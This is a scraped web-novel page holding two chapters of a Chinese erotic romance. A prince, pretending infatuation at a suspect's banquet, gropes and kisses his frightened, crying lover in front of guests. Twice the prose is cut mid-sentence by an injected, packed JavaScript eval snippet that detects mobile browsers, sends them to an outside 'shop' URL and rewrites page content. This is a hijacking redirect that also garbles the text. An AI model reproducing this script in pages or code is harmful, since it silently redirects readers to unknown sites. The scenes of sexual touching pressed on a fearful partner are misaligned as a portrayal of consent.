四尊青铜饕餮香炉分踞四角,口中徐徐吐-出苏合香的青烟。 烟气袅娜上升,在梁柱间缠绕成各种难以名状的形状,最终消散于绘着飞天伎乐的藻井深处。 地上铺着来自西域的朱红绒毯,厚实柔软,吞没了所有足音,使得阁中虽人影幢幢,却静谧。 中-央那张宽大的紫檀木圆桌,在数十盏琉璃宫灯的映照下泛着幽暗的光泽。 桌上琳琅满目,皆是时令珍馐: 玲珑剔透的水晶虾饺盛在龙泉青瓷盘中。 胭脂鹅脯配着嫩黄姜丝,清蒸鲥鱼覆着薄如蝉翼的火腿片。 更有西域进贡的葡萄酒在夜光杯中荡漾着宝石般的光泽。 玉箸银匙,金杯犀觥,极尽奢华之能事。 主位之上,苏墨卿一袭月白锦缎直裰,外罩鸦青色鹤氅,手握一柄羊脂玉骨折扇。 他年约三十许,面庞清俊,气质儒雅如饱学之士。 唯独那双微微上挑的凤目,偶尔掠过一丝精-光,像是古井水面突然泛起的涟漪,泄露了深藏水底的锋芒。 这并非寻常文人,而是执掌京城最大风月场的幕后东家。 左下首,燕元明安然端坐。 他今日未着亲王常服,只一袭玄色暗纹锦袍,腰间墨玉革带将挺拔身姿束得如松如竹。 面上神色平淡如水,手中白玉酒杯随着指尖轻转,杯中琥珀色的酒液漾开圈圈涟漪。 他正与苏墨卿闲谈,语气不疾不徐,听不出半分喜怒。 席间另有四位陪客: 户部李郎中面色红润,指间一枚翡翠扳指碧得滴油。 皇商赵当家体态富态,笑时眼角堆起细密皱纹。 两位北地商贾则肤色黝黑,手上骨节粗大,显是常年奔波所致。 众人推杯换盏,言笑晏晏,看似宾主尽欢,实则各怀心思。 空气中有看不见的暗流,在佳肴香气与酒气之下缓缓涌动。 “听闻王爷近来在查北边货物往来的账目?” 苏墨卿执起越窑青瓷酒壶,为燕元明斟满一杯,状似随意。 燕元明端起酒杯,目光落在杯沿细腻的冰裂纹上,淡淡道: “职责所在,例行核查罢了,苏老板生意做得清白,自然不怕查。” “那是自然。”苏墨卿展开折扇,轻摇两下,扇面上一幅水墨兰草随动作微微颤动。 “苏某做的都是正经买卖,往来账目一清二楚,王爷随时可查。”他话锋微转,扇面合拢,轻轻点在掌心。 “只是这年关将近,漕运繁忙,各地货物堆积如山,查验起来怕是要费些功夫。” “无妨。”燕元明抿了口酒,酒液滑过喉间,带着淡淡的桂花甜香,“慢慢来。” 他今日赴宴,确是继续调查。 停云水榭这条线,如同镜湖水面下的暗流,牵连甚广。 苏墨卿表面经营着京城最风雅的风月场,暗中却与北狄有千丝万缕的联系。 贩卖军情、私运朝廷严控的铁器与药材。 只是此人狡猾如狐,行事隐秘如雾,至今抓不到实证。 此番赴宴,便是要进一步降低其戒心,在推杯换盏间套取线索。 酒过三巡,丝竹声悠然响起。 几名乐伶抱着琵琶、古琴悄然入内,在角落的湘妃竹屏风后坐下。 指尖轻拨,一曲《春江花月夜》如溪流般淌出。 琴音清越,琵琶婉转,倒是颇合这临湖雅阁的情致。 苏墨卿击掌赞叹:“好曲!只是光有乐,未免单调。” 他朝身边侍立的小厮递去一个眼神,“去,让舞苑的姑娘们准备。” 小厮躬身退下。 不多时,乐声陡然一转。 清雅婉转的江南小调,骤然变为热烈奔放的西域胡旋。 鼓点急如骤雨,琵琶弦急如马蹄,带着大漠风沙的粗犷与热情。 阁门洞开,八名身着绯色胡旋舞衣的舞姬,踩着密集的乐点翩跹而入。 一时间,香风扑面。 那是混合了玫瑰露、麝香与年轻女子体香的馥郁气息。 金铃在踝间、腕间、腰间乱响,清脆悦耳如珠落玉盘。 舞姬们个个身段窈窕,面容姣好,绯色轻纱随着旋转飞扬,如同八朵在夜色中骤然绽放的扶桑花。 雪白的肌肤在薄纱下若隐若现,腰肢柔软如春风中的柳枝,眼波流转间皆是撩-人心弦的风情。 满座宾客的目光都被吸引过去。 李郎中放下酒杯,眼睛直勾勾盯着场中。 赵当家身体微微前倾,手中核桃忘了转动。 两位北地商贾更是屏住呼吸,黝黑脸庞上泛起兴奋的红光。 唯有燕元明,只淡淡扫了一眼。 收回目光,继续把-玩手中白玉酒杯,指尖感受着杯壁温润的触感。 这些庸脂俗粉,入不得他的眼。 他的云棠,此刻应当在王府里,乖乖等他回去。 或许墨香染袖,或许倚窗看雪。 或许……又在胡思乱想些什么,把自己弄得眼眶红红,像只受委屈的小动物。 想到那双湿-漉-漉的眼睛,他唇角不自觉勾起一丝极淡的弧度。 温柔得如同春冰初融,消融了眉宇间惯常的冷峻。 而他的目光无意间扫过舞姬队列的末尾,忽然定住了。 那个身影…… 纤细,单薄,动作生硬,如同提线木偶,与其他舞姬行云流水般的娴熟形成鲜明对比。 可偏偏是那股笨拙,那种惊慌失措、手足无措的姿态,猝不及防地扎进他眼里。 还有那身装扮。 雪白的肩背露在跳跃的烛光下,泛着羊脂玉般温润的光泽。 腰细得仿佛春日初发的柳枝,被缀满金铃的腰链束着。 随着僵硬的动作微微晃动,每一下都晃出令人心惊的弧度。 绯色轻纱裙裤薄如蝉翼,笔直修长的腿在旋转时惊鸿一现,如同水墨画中一抹淡彩,欲说还休。 薄纱遮面,只露出一双眼睛。 惊慌地四处乱瞟,像只误入狼群的幼鹿。 水光潋滟的眸子里盛满了无措与恐惧,在烛火映照下碎成千万点星光。 燕元明手中的白玉酒杯,“咔”一声轻响。 一道细如发丝的裂纹,从杯沿蜿蜒而下,如同冬日窗棂上的冰花。 琥珀色的酒液从裂缝中渗出,沾湿了他骨节分明的手指,冰凉黏腻,他却浑然不觉。 是云棠。 他怎么会在这里?还穿着这样的衣服? 燕元明的目光迅速扫过宴席上的其他人。 户部李郎中的眼睛已经直了,死死盯着舞姬队列末尾那个身影。 浑浊的瞳孔中燃烧着渴望,喉结不住上下滚动。 皇商赵当家更是毫不掩饰,身体前倾,几乎要离开座位,目光在那纤细腰肢和修长双腿上来回逡巡。 嘴角挂着油腻而猥-琐的笑意,低声对身旁的李郎中说了句什么,引得后者发出暧昧的闷笑。 那两个北边来的商贾,眼神浑浊如泥潭,像饿狼看到了鲜肉,呼吸粗重。 年轻些的那个,手指无意识地摩挲着酒杯边缘,目光死死锁在云棠因紧张而微微起伏的胸口。 单薄的诃子随着动作滑开了些,露出一小片精致的锁骨,在烛光下白得晃眼。 就连主位上的苏墨卿,虽还保持着儒雅姿态,执扇的手势依旧从容,可目光也频频落在云棠身上。 那双凤目中闪过惊艳。 那些目光,像无数只肮脏的手,在想象中抚摸、揉-捏、亵玩。 燕元明只觉得血液逆流而上,冲得太阳穴突突直跳。 一股暴戾的杀意在胸腔里翻腾冲撞,几乎要冲破理智的牢笼,化作实质的刀剑,将那些眼睛一一剜出。 他面上依旧平静,甚至还能对苏墨卿举杯示意,唇角甚至勾起一丝极淡的、似是而非的笑意。 可桌下的手,已紧握成拳,指节捏得发白,手背上青筋暴起。 手中的白玉酒杯又多了几道裂纹,细碎的瓷屑硌在掌心,带来尖锐的刺痛,他却恍若未觉。 苏墨卿并未察觉异样。 他见燕元明目光落在舞姬身上,只当这位素来不近女色的冷面王爷终于对美-色有了兴趣。 心中暗喜,笑道: “王爷,这些舞姬可还入眼?尤其是末尾那个,新来的,唤作泠音,戴着面纱,倒是别有一番神秘风情。” 燕元明喉结滚动,将翻涌的情绪硬生生压回心底最深处。 声音竟还能保持平稳,带上了一丝玩味:“尚可。” 乐声越发急促,鼓点如暴雨倾盆。 舞姬们的旋转也越来越快,绯色轻纱绽开成一片流动的霞光。 云棠混在中间,头晕目眩。 他根本不会跳这胡旋舞,只能勉强跟着旁人动作,举手,抬腿,转身。 每一个动作都僵硬笨拙得可笑,像只误入鹤群的雏鸟,扑腾着尚未长全的翅膀。 可偏偏那身衣服和那具身体,将这种笨拙转化成了一种惊心动魄的、不自知的诱惑。 雪白与绯-红交织,纤细与饱满并存,生涩与风情矛盾地融合。 这反而激起了男人们更深的窥-探欲与征服欲。 越来越多的目光聚焦在他身上。窃窃私语声虽低,却如同毒蛇吐信,清晰地钻入燕元明耳中: “瞧那腰……啧啧,真细,怕是一折就断……” “何止腰,你看那腿,又长又直,在纱里头晃啊晃的……” “皮肤白得跟刚挤出的羊奶似的,肩背那片露的……真想尝一口是什么滋味……” “不知道面纱底下长什么样……肯定是个绝色,要是能弄到手……” 字字句句,不堪入耳。 燕元明眼底寒意越来越浓,几乎要凝结成实质的冰霜,将整个流云阁冻结。 就在这时,舞至高-潮。 鼓声达到顶峰,如同沙场战鼓擂响。 众舞姬以足尖为轴,急速旋转,绯色轻纱完全绽开,如同八朵在瞬间怒放到极致的彼岸花。 云棠被转得晕头转向,眼前一片模糊,金铃乱响震得耳膜发疼。 一个踉跄,竟不由自主地旋出了队列,如同被狂风卷离枝头的花瓣,飘飘荡荡,晃到了宴席近前。 恰好在燕元明座前不远处。 他慌忙稳住身形,下意识微微俯身,想去扶旁边的桌沿。 这个动作,让轻纱裙裤紧紧贴在腿上,勾勒出饱满柔美的曲线,如同月光下起伏的山峦。 腰链剧烈晃动,金铃乱响如急雨。 腰腹间那一截雪白的肌肤,在轻纱下惊鸿一现,如同深雪中突然露出的玉色矿脉。 俯身时,那件本就勉强的诃子往下滑了滑,更多雪肤暴露在烛光下,晃得人眼花缭乱。 满座皆静。 所有的交谈声、笑声、酒杯碰撞声,在这一刻戛然而止。 所有的目光,都像被无形磁石吸引,牢牢钉在那片若隐若现的雪色上。 李郎中张大了嘴,赵当家眼睛发直,两个商贾屏住呼吸,苏墨卿也放下了酒杯,目光深沉地看过去。 燕元明脑中那根名为理智的弦,在这一刻彻底崩断。 “铮”一声,无人听见的巨响在颅内炸开。 在众人惊愕的目光中,他猛地站起身,如猎豹扑食,带翻了身下的紫檀木圈椅也浑然不顾。 长臂一伸,五指如铁钳,攥住云棠纤细的手腕,狠狠将人拽了过来。 那腕骨细得仿佛用力就会折断。 “啊!” 云棠惊呼一声,那声音又细又软,带着猝不及防的惊慌。 整个人如同断线纸鸢,跌入一个坚实滚烫的怀抱。 熟悉的松雪气息混杂着酒气,瞬间将他笼罩。 随即,玄色大氅如同夜幕般展开,劈头盖脸将他裹住,严严实实,从头到脚,不露半分肌肤。 他被按坐在燕元明腿上,整个人被困在那熟悉又陌生的气息与体温里,动弹不得。 隔着薄薄的衣料,他能感觉到燕元明胸膛剧烈的起伏。 强健手臂勒在他腰间,力道大得几乎要将他揉碎,嵌入骨血。 流云阁内,一片死寂。 丝竹声不知何时停了。 乐伶们抱着乐器僵在原地,不知所措。 舞姬们停下旋转,面面相觑。 满座宾客皆是目瞪口呆,看着面色沉冷如水的摄政王,以及他怀中那团。 苏墨卿最先反应过来。 他眼底闪过一抹精-光,很快便湮没在温文笑意之下。 随即堆起恰到好处的惊讶与讨好笑容,试探道:“王爷这是……” 燕元明搂紧怀中僵硬颤-抖的人儿。 他能感觉到云棠在发-抖。 手臂力道又收紧三分,几乎要勒断那截细腰,面上却扯出一个玩味的笑,语气轻浮: “苏老板见笑,本王一时……情难自禁。” 他低下头,鼻尖似乎凑近云棠被大氅遮掩的颈窝,深深吸了一口气,姿态狎昵。 实则,他用只有两人能听到的声音,压得极低:“别动。” 云棠浑身一颤,如同被点中穴道,果然不再挣扎。 燕元明抬起头,迎上苏墨卿探究的目光,笑容加深,眼底却毫无温度,只有一片深不见底的寒潭: “这舞姬,甚合眼缘,苏老板不会不舍得吧?” 苏墨卿心中大喜! 摄政王楚燕元明,朝中谁人不知其不近女色、冷硬如铁? 多少世家贵女、异国美姬投怀送抱,他连眼皮都未曾抬过一下。 今日竟为区区一舞姬当众失态,甚至不惜撕破那层冷面伪装。 看来这“美人计”,成了! 他忙笑道:“王爷说的哪里话!能被王爷看中,是她的福气,更是苏某的荣幸!” 他转头,对着燕元明怀中人提高声音,语气讨好:“泠音,还不快给王爷斟酒,好生伺-候着!” 云棠被按在燕元明腿上,侧坐着,姿势羞-耻得让他恨不能当场昏厥。 他能感觉到燕元明肌肉的紧绷,透过薄薄衣料传来滚烫的体温,那温度几乎要灼伤他的皮肤。 大氅将他裹得严实,密不透风。 燕元明身上凛冽的松雪气息混杂着一丝酒气,将他牢牢笼罩,如同无形的牢笼。 一只颤-抖的手,从大氅边缘艰难伸出,摸索着探向桌面的酒壶。 手指纤细白皙,指尖因为用力而泛出淡淡的粉色,像是初春枝头将绽未绽的樱瓣。 云棠想听话地倒酒,赶紧结束这令人窒息的场面。 可手刚碰到冰凉的壶身,就被另一只更大、更热、带着薄茧的手握住。 燕元明的手。 他完全包住云棠的手,那手掌宽大温暖,将云棠冰凉的手指完全包裹,如同暖炉烘烤寒冰。 他引着云棠的手拿起酒壶,慢慢倾斜。 琥珀色的酒液注入白玉杯中,发出清越悦耳的声响。 他握着云棠的手,将酒杯端起,送到自己唇边。 就着云棠的手,他将那杯酒一饮而尽。 仰头时喉结滚动,线条凌厉的下颌线绷紧,酒液滑过喉间,留下一线微光。 饮尽后,他的唇若有似无地擦过云棠冰凉的指尖。 那触感极轻,如同蝶翼拂过花瓣,带着滚烫的温度,与不容错辨的占有意味。 姿态狎昵至极,爱不释手,活脱脱一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261357|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个被美-色所惑、急不可耐的浪-荡王爷。 满座宾客从震惊中回过神来,开始窃窃私语,眼神暧昧交织。 李郎中与赵当家交换了一个心照不宣的眼神,嘴角勾起猥-琐笑意。 两位北地商贾舔了舔嘴唇,目光更加露骨。 苏墨卿更是笑容满面,自觉计策已成功大半。 燕元明一边应付着苏墨卿的敬酒和试探。 一边,在无人可见的大氅下。 那只滚烫的、带着常年习武形成的薄茧的手掌,贴上了云棠裸-露的腰侧。 “唔……”云棠浑身剧颤,如同被电流击中,差点惊呼出声。 他死死咬住下-唇,将声音硬生生咽了回去,唇-瓣被咬得泛白。 掌心紧贴那段纤柔的弧度,带着沉缓的力道徐徐游移。 仿若暖玉在掌中流转,每一分熨帖都试图让温润的轮廓更契合掌心的记忆。 他熟知这具身躯里每一处微妙的起伏,便在这些地方温柔流连。 如细笔勾勒花瓣,反复描摹。 缓缓下行。 月光沉入深潭,悄然荡开一圈圈涟漪。 云棠连骨隙间都漫起细密的酥麻。 眸中蓄起潋滟的水光,如晨雾凝结于睫梢,将落未落。 羞-耻、恐惧。 交织成一张密不透风的网,将他牢牢缠住,越收越紧。 他只能拼命咬紧牙关,不让自己发出半点声音,连呼吸都屏住了,憋得胸口发疼。 燕元明一边与苏墨卿谈笑风生。 他甚至还能准确接住对方抛出的关于边境茶马互市的隐晦试探。 温存的流连并未停歇,反而添了几分从容的探访。 那暖意悄然栖落于一道丰-盈的弧线。 隔着一层绯云般轻薄的遮掩,仍能觉出那浑-圆而柔韧的轮廓。 指节渐次收合,轻拢枝头最熟的一枚秋实。 缓缓没入那温软的云絮深处,感受着它在掌心轻柔陷落又悄然回弹的生机。 宛如饱含晨露的晚桃,透出沉甸甸的莹润。 “……唔。” 一声极轻的呜咽,终于从抿紧的唇间逸出。 惊惶之下,他慌忙将脸埋入燕元明的衣襟,试图藏匿所有声响。 只余一双湿润的眼眸悄悄低垂,睫毛被泪意浸得如同沾雨的蝶翼,微微颤动。 燕元明面色沉静如常,抬手与对座的李郎中碰杯,瓷盏相击,发出一声清越的轻响。 而隐于桌下的暖意,却更深地环住那团绵软。 掌心全然覆上,徐徐收拢,感知着那柔韧的曲线在指间悄然流转,化出种种温顺的起伏。 那弧度生得恰好,丰-盈如秋日低垂的谷穗,抚触间肌理细腻而蕴满生机。 每一次收放都牵起一阵细微的、宛若春水漾开涟漪般的战栗。 但这只会让燕元明心中怒火更盛,占有欲更疯狂地翻涌。 这样的身子,这样的情态,竟被那些杂碎看了去! 那些肮脏的目光,那些下流的想象…… 流风开始试探性地,拂过那片从未示人的、细腻如最上等素绢的疆域。 带着微砺的暖意,所经之处激起细密的涟漪,宛若春风初次漫过寂静的雪野。 向着那最为幽谧的所在,暖雾氤氲的泉脉源头,悄然靠近。 如同寻幽者,正缓步趋近一处从未被日光惊扰的、终年萦绕着温润雾气的秘境核心。 云棠吓得魂飞魄散。 那里……不能! 藤蔓般的牵绊骤然收拢,将那份温热的桎梏紧锁其间。 潸然的泪浸-透衣襟,在厚重的织物上染开一片暗色潮痕。 隔着粗砺的氅衣,一张泪痕斑驳的脸仰起,惊惶地摇动,眸光宛若林间受惊的幼鹿。 燕元明的所有动作,在这一刻蓦然凝滞。 他望见了那片朦胧水光之下,纯粹的惊颤。 收拢的暖意悄然缓下,只在那片细腻如初雪的疆域上流连徘徊。 温存的抚触轻轻流转,仿若安抚暗处瑟缩的羽翼,不再试图探寻更深的幽谷。 但那温热的印迹依然烙在那片敏-感的边界。 云棠松了口气,几乎虚脱,浑身脱力般软在他怀里。 只余细微的、无法控制的颤-抖。 这时,席间那位皇商赵当家,许是酒意上头,又或许是见燕元明如此“放浪”。 连素来冷面冷心的摄政王都沉溺美-色,胆子也大了起来。 他带着几分讨好,又带着几分男人间心照不宣的暧昧,笑着开口,声音因为酒意而有些含混: “早就听闻王爷府上那位七殿下,才是真绝色,有如天上明月,清辉照人……今日见王爷对此女……呵呵,可见明月清辉虽好,这人间烟火、灼灼桃夭,也别有一番风味啊!王爷真是……好福气,好眼光!” 这话一出,席间气氛微妙地静了静。 云棠的身体,在燕元明怀中猛地一僵,变得无比僵硬。 连那细微的颤-抖都停止了。 燕元明眸光骤然冷冽,如冰刀般扫过赵当家。 那眼神锐利如实质,带着压迫感,吓得赵当家酒醒了一半,冷汗涔涔从额角渗出,手中酒杯差点滑落。 随即,燕元明却嗤笑一声,姿态慵懒地往后靠了靠。 将怀中人搂得更紧,几乎要将那纤细的身子嵌进自己胸膛。 他空着的那只手从大氅边缘探入,在云棠腰侧暧昧地画了个圈。 指尖隔着薄薄的纱衣感受那处肌肤的细腻与微颤。 他语气轻浮,带着漫不经心的戏谑: “明月清辉自然要悬于中天,供人仰望,可这误入尘网的蝶,落在掌心颤翅时,却是独属于猎人的乐趣。” 云棠听在耳中,羞-耻不堪,脸颊烧得滚烫。 燕元明立刻察觉到了怀中人身体的细微变化。 那紧绷到极致的僵硬缓和了些许。 虽然依旧在颤-抖,但那颤-抖中少了几分恐惧,多了几分复杂的情绪。 他心头微定,几乎是不再犹豫地,低头吻了下去。 当着所有人的面。 在数十道目光的注视下,在琉璃宫灯摇曳的光影中,捕获了云棠的唇。 隔着那层薄薄的、月白色的面纱。 这个吻带着占有欲和强烈的安抚意味,甚至有些凶狠,像是猛兽在标记自己的所有物。 他的舌头撬开云棠因震惊而微张的唇齿。 那唇-瓣柔软如初绽的蔷薇,隔着薄纱传来温热的触感与淡淡的花香气。 探入他口中,肆意搅动、吮吸。 面纱很快被两人的气息和唾液濡湿,紧紧贴在唇间,变得半透明,隐约勾勒出两人唇形交缠的轮廓,引人无限遐想。 “唔!”云棠瞪大了眼睛,瞳孔因为震惊而放大。 他下意识地想推拒,双手抵在燕元明胸-前,但那力道微弱得如同蚍蜉撼树。 与此同时,燕元明另一只手也在大氅下动作。 暖风掠过初雪覆盖的山峦,力道沉入肌理,引出一声低回如箫鸣的轻颤。 纤影若风中秋苇般低垂,却在微痛的涟漪深处,漾开更浓的赧色,与一丝藏于叶底的,细密的战栗。 仿若薄舟行于夜潮乍起的幽泽。 既畏那深水之下暗涌的涡流,又因被这温吞而固执的波澜全然环拥,而生出悖谬的安宁。 惊怯与归处,如寒星坠入暖潭,在沉没的瞬间交织成无声的辉光。 满座哗然! 所有人都看呆了。 李郎中手中的筷子“啪嗒”掉在桌上,赵当家张大了嘴,忘了合拢,两位北地商贾眼睛发直,呼吸粗重。 就连苏墨卿,也微微挑起了眉,眼中精-光大盛,心中最后一丝疑虑也烟消云散。 男人嘛,终究过不了美人关。 看来这步棋,走对了! 23. 第 23 章 燕元明吻了很久。 云棠快要窒息了,身体软得如同一滩水,全靠他手臂支撑才没有滑落。 燕元明稍稍退开。 云棠的唇隔着面纱,被吻得红肿。 轻纱上洇开一小片深色的湿痕,单薄透明,隐约看见底下嫣红的唇色。 眼神涣散,倚在燕元明怀里剧烈喘息,胸膛起伏。 每一次呼吸都带动腰肢微微颤-动。 燕元明的手,在无人可见的大氅下,越发大胆。 他竟扯开了云棠诃子背后本就系得松松的带子。 那件勉强遮体,绣着金丝牡丹的诃子,悄然滑落。 如同花瓣脱离花萼,被他随手丢弃在铺着厚毯的地上。 滚烫的掌心,毫无阻隔,直接贴上了细腻如白瓷的背脊。 “啊……” 云棠浑身一颤,瞬间从情迷意乱中清醒过来。 惊恐地瞪大眼睛,眼神如同被猎人陷阱夹住的小鹿。 燕元明面不改色,另一只手端起酒杯,抿了一口,继续与苏墨卿谈论。 仿佛案几之下,那片正在月光般背脊上流连的温度,并非源自他一般。 云棠的上身无遮,细腻的肌理贴合着微凉的锦缎,感受到对方胸膛平稳的起伏,与那沉缓如远雷的心跳。 透过薄薄的织物传来,如同古老的更漏,一声声叩响。 微温的触碰,似晚风拂过竹林,惹起枝叶间细碎的簌簌低语。 他的身体不受控制地抖。 是恐惧,是羞-耻,是情动,还是三者皆有,他已分不清。 …… 浸透了轻覆的薄纱,洇开一片湿润的深色。 他只能慌张掩盖。 燕元明的呼吸也越来越粗重,无一不在挑战他引以为傲的自制力。 …… 他几乎要当场失控。 冲动如同火山岩浆,在理智的冰壳下疯狂奔涌,叫嚣着要破土而出。 苏墨卿是何等眼色? 见燕元明气息不稳,眼神暗沉,握着酒杯的手指关节微微发白,便知火候到了。 他适时地放下酒杯,笑容暧昧,声音压低,带着男人间心照不宣的意味: “王爷,春宵一刻值千金,这美人在怀,佳酿在前,何必再谈那些俗务?后厢有清净雅室,熏香暖榻,一应俱全,隔音也是极好的,不如……” 燕元明迫不及待地打断他,声音沙哑得不像话,带着浓重的情-欲与不耐:“带路。” 说罢,直接用大氅将云棠裹得只剩一点乌黑发顶和半截湿润面纱在外,打横抱起。 动作急切,粗鲁,完全是一副色令智昏、急不可耐的模样,连礼仪风度都顾不上了。 他抱着怀中轻颤、如同受惊幼兽般的人儿。 在众人或暧昧、或艳羡、或意味深长的目光注视下,大步流星,头也不回地走出了流云阁。 身后,丝竹声再起,宴饮继续。 只是所有人的心思,都已不在酒宴之上了。 流言与想象,如同滴入清水中的墨汁,开始悄无声息地扩散、蔓延。 停云水榭的后厢,确实是精心布置的“雅室”。 远离前厅的喧闹与灯火,独辟一院,名为“听竹”。 院内植着几丛潇湘翠竹,即使在冬日,竹叶依旧苍翠欲滴,在夜风中发出沙沙轻响,如同情-人的絮语。 竹丛掩映着一栋小巧的二层绣楼,飞檐翘角,廊下悬着八角琉璃灯,灯光昏黄柔和。 楼上最里间的厢房,便是苏墨卿口中的“清净雅室”。 燕元明抱着云棠,跟着引路的小厮。 踏着铺着青砖的幽径,穿过竹影婆娑的庭院,径直上了二楼,进入那间厢房。 小厮极有眼色,躬身退下时,轻轻带上了厚重的雕花木门。 “咔哒”一声轻响,是门闩落下的声音。 室内瞬间陷入一片深沉的寂静。 只有墙角紫铜漏壶滴滴答答的声响,规律而单调,丈量着时间的流逝。 还有窗外隐约传来的、被重重院落与竹林过滤后、模糊不清的丝竹声。 那声音缥缈如隔世。 燕元明抱着云棠,站在房间中-央铺着的波斯地毯上,没有动。 方才在宴席上强行伪装出的所有浪-荡、急切、情难自抑…… 从他身上褪得干干净净,如同潮水退去,露出冰冷坚硬的礁石。 取而代之的,是一种沉冷的、压抑的、山雨欲来风满楼的平静。 他依旧用那件玄色大氅紧紧裹着怀中的人,没有松开。 手臂依旧牢牢环着那截细腰,力道甚至比在宴席上更大,像是怕一松手,这人就会如同烟雾消散。 云棠蜷缩在他怀里,一动不敢动。 他能感觉到燕元明身上散发出令人窒息的低气压。 那气压如同实质,沉甸甸地压-在他心头。 时间缓缓流淌。 铜漏的滴水声,一声,又一声,敲打在紧绷的神经上。 良久,久到云棠几乎要在这片死寂中窒息,燕元明终于动了。 他走到那张宽大的、挂着鲛绡帐的紫檀木拔步床边,将怀中的人,放在了铺着厚厚云锦被褥的床榻上。 云棠陷在柔软得如同云朵的被褥里,身上还裹着那件带着燕元明体温和气息的玄色大氅。 只露出一张苍白得没有血色的小脸,和那头因为方才挣扎亲吻而散乱铺陈在锦褥上的、鸦羽般的青丝。 燕元明站在床边,居高临下地看着他。 烛光从床边的莲花座灯台上流泻而下,映着他棱角分明的脸。 一半在光里,线条冷硬如刀削斧劈,一半在阴影中,深邃得如同不见底的古井。 他的眼神深不见底,没有任何温度,只有一片沉沉的、化不开的浓墨。 他缓缓抬手,修长的手指落在自己腰间那条墨玉革带的扣环上。 “咔”一声轻响。 云棠浑身一颤,连带着裹在身上的大氅都簌簌抖动起来。 他惊恐地看着燕元明,那双湿-漉-漉的眼睛睁得很大。 燕元明将解下的革带随手扔在一旁的紫檀木矮几上。 俯身,双手撑在云棠身体两侧的锦褥上,将他完全困在自己与床榻之间。 距离很近,近到云棠能清晰地看到他眼中每一丝情绪的波动。 能感受到他呼吸时喷-出的、带着酒气的灼热气息,能数清他浓密睫毛投下的细密阴影。 他盯着云棠惊恐的、如同受惊小鹿般的眼睛,无奈地叹了口气,声音沙哑,问道: “棠儿,现在可以告诉我,你为什么在这里?” --- 雅室里,静得能听见烛芯燃烧的细微噼啪声。 拔步床内,云棠被燕元明紧紧拥在怀中,裹在那件宽大的玄色大氅里。 脸上的面纱被取下,露出苍白中带着红晕的脸颊。 长睫湿-漉-漉地垂下,在眼睑投下浅浅的阴影。 燕元明的怀抱温暖而坚实。 熟悉的松雪气息包裹着他,让方才在宴席上紧绷到极致的神经终于松懈下来。 可松懈之后,是更汹涌的后怕和委屈。 “王爷……” 云棠的声音带着哽咽,脸埋在燕元明胸-前,手指无意识地揪着他的衣襟。 “我、我是不是……给你添麻烦了?” 燕元明低头,看着他这副模样,心中的情绪早已消散无踪,只剩下满溢的心疼。 抬起手,指腹温柔地拭去他眼角的湿痕,动作很轻。 “棠儿。”他低声叹息,将怀中人搂得更紧些,“告诉我,为什么来?” 云棠咬着下-唇,犹豫片刻,才用细如蚊蚋的声音断断续续道: “我……我听说,这里新来了个泠音姑娘,琵琶一绝,容貌极美,昨日还有人为她一掷千金……” 他说着,声音越来越低,眼眶又红了: “我知道不该胡思乱想,王爷说过是来查案的,可我、我心里就是难受,控制不住,我想着,就偷偷看一眼,看一眼那地方是什么样子,就回去……” 他抬起头,湿-漉-漉的眼睛望着燕元明,急切地补充: “我真的相信王爷!我只是……只是有点闷,想来看看……” 燕元明看着这双盛满不安和依赖的眼睛,心头软得一塌糊涂。 他低下头,额头抵住云棠的额头,呼吸交融,声音低沉而温柔: “我的棠儿。”他语气里满是疼惜。 “那些庸脂俗粉,连你一根头发丝都比不上,我的心里从来只有你,从前是,以后也是,永远不会变。” 这话说得直白,像一剂定心丸,抚平了云棠心中所有的不安和酸涩。 云棠眼眶发热,又想哭了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261358|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他主动仰起脸,在燕元明唇上轻轻碰了一下。 一触即分,像小鸟啄食,带着全然的信任和眷恋。 “嗯……”他小声应着,把脸重新埋进燕元明颈窝,声音闷闷的,“我知道错了……下次不会了……” 燕元明低笑,吻了吻他的发顶。 正欲再说什么,忽然听到门外有极轻微的呼吸声。 不是寻常仆从的呼吸,而是刻意放轻、带着武功底子的气息。 很微弱,若非燕元明内力深厚,几乎察觉不到。 他眼神微凝,瞬间明白过来。 苏墨卿这只老狐狸,果然没有完全放心。 送他们来这厢房是第一步,留人在门外监视是第二步,试探他是否真的沉迷美-色、无心他顾。 燕元明眸色沉了沉,随即恢复平静。 他低头,凑到云棠耳边,用只有两人能听见的气声轻语: “棠儿,门外有耳朵。” 云棠身体一僵,下意识想回头去看,却被燕元明按住。 “别动。”燕元明的唇几乎贴着他的耳廓,温热的气息拂过敏感的肌肤,“乖,叫两声给他们听听。” 云棠瞬间明白了他的意思,整张脸“轰”地烧了起来,连脖颈都染上了粉色。 他羞得想往被子里钻,却被燕元明搂着动弹不得。 “真、真的要叫?”云棠的声音细弱如蚊,带着难以置信的羞-耻。 “嗯。”燕元明低笑,声音里带着几分戏谑,更多的是温柔的哄诱,“就像……被弄得受不住时那样。” 这话让云棠的脸更红了。 他咬着唇,憋了半晌,才发出两声细弱颤-抖的: “嗯……啊……” 声音生涩,带着明显的羞怯,尾音颤巍巍的,像受惊的小猫在呜咽。 可偏偏是这种生涩,这种纯然不知所措的反应,比任何熟练都更撩-人心弦。 叫完这两声,云棠羞得无地自容,整张脸死死埋在燕元明胸膛,耳朵红得几乎滴血,再不肯抬头。 燕元明呼吸一滞。 